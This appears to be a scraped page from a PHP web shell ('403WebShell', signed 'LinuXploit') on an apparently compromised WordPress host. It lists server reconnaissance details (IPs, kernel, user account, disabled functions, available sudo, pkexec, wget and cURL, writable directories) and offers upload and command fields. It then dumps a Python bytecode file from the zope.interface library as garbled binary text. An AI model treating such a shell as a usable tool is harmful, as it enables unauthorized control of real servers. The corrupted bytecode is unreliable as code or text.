Warning: chmod(): No such file or directory in /home/tuempresavirtual.cl/public_html/wp-content/plugins/appointment-hour-booking/app-booking-plugin.php on line 3
403WebShell
403Webshell
Server IP : 186.64.123.29  /  Your IP : 216.73.217.94
Web Server : LiteSpeed
System : Linux house.hostinglat.cl 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : tuemp9827 ( 1016)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/zope/interface/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/zope/interface/__pycache__/verify.cpython-310.pyc
o

$
x`� �@s�dZddlmZddlZddlZddlmZddlmZddlm	Z	ddl
mZddl
mZdd	l
m
Z
dd
l
mZddl
mZddlmZmZmZd
dgZefZddd�Zdd�Zddd�Zddd
�Zeje_dZeef�Zdd�Zdd�ZdS)z!Verify interface implementations
�)�print_functionN)�FunctionType)�
MethodType)�PYPY2)�BrokenImplementation)�BrokenMethodImplementation)�DoesNotImplement)�Invalid)�MultipleInvalid)�
fromMethod�fromFunction�Method�verifyObject�verifyClassFc	Cs�|dkr|j}n|j}g}|s||�s|�t||��|jdd�D]%\}}z
t|||||�Wq!tyF}z|�|�WYd}~q!d}~ww|rYt|�dkrS|d�t|||��dS)a�
    Verify that *candidate* might correctly provide *iface*.

    This involves:

    - Making sure the candidate claims that it provides the
      interface using ``iface.providedBy`` (unless *tentative* is `True`,
      in which case this step is skipped). This means that the candidate's class
      declares that it `implements <zope.interface.implementer>` the interface,
      or the candidate itself declares that it `provides <zope.interface.provider>`
      the interface

    - Making sure the candidate defines all the necessary methods

    - Making sure the methods have the correct signature (to the
      extent possible)

    - Making sure the candidate defines all the necessary attributes

    :return bool: Returns a true value if everything that could be
       checked passed.
    :raises zope.interface.Invalid: If any of the previous
       conditions does not hold.

    .. versionchanged:: 5.0
        If multiple methods or attributes are invalid, all such errors
        are collected and reported. Previously, only the first error was reported.
        As a special case, if only one such error is present, it is raised
        alone, like before.
    �cT)�allN�r)	Z
implementedByZ
providedBy�appendrZnamesAndDescriptions�_verify_elementr	�lenr
)	�iface�	candidate�	tentative�vtypeZtesterZexcs�name�desc�e�r�7/usr/lib/python3/dist-packages/zope/interface/verify.py�_verify*s$ ��rcCsJzt||�}Wnty t|t�s|dkrYdSt|||��wt|t�s(dSt�|�s2t�|�r4dSt|t�rZt	j
ddkrRt|t�rR|dkrRt|||dd�}n4t|||d�}n,t|t
�rmt|j�turmt|||�}nt|t�rx|dkrxdSt|�s�t|d|||��dSt|��|���}|r�tr�t|||�r�dSt|||||��dS)Nrr�r)rZimlevel)rzimplementation is not a method)�getattr�AttributeError�
isinstancer
r�inspectZismethoddescriptorZ	isbuiltinr�sys�version_info�typer�MethodTypes�__func__r�property�callabler�	_incompatZgetSignatureInfor�_pypy2_false_positive)rrrrr�attrZmethZmessrrrr`sD�

 �
���rcC�t|||dd�S)zF
    Verify that the *candidate* might correctly provide *iface*.
    r�r�r�rrrrrrr�scCr/)N�or0r1r2rrrr�sz*implementation requires too many argumentscCs<|tvrdStt���}|dkr|nt|�}||vrdSdS)NFrT)�_KNOWN_PYPY2_FALSE_POSITIVES�vars�__builtins__�valuesr')�msgrrZknown_builtin_typesZcandidate_typerrrr-�sr-cCspt|d�t|d�krtSt|d�t|d�kr |ds dS|dr*|ds*dS|dr4|ds6dSdSdS)N�requiredZ
positionalZvarargsz-implementation doesn't allow enough arguments�kwargsz0implementation doesn't support keyword argumentsz1implementation doesn't support variable arguments)r�
_MSG_TOO_MANY)r9Zimplementedrrrr,�s��r,)FN)F)�__doc__Z
__future__rr$r%�typesrrZzope.interface._compatrZzope.interface.exceptionsrrrr	r
Zzope.interface.interfacerrr
�__all__r(rrrrr;�	frozensetr4r-r,rrrr�<module>s8
�
6
E
�

Youez - 2016 - github.com/yon3zu
LinuXploit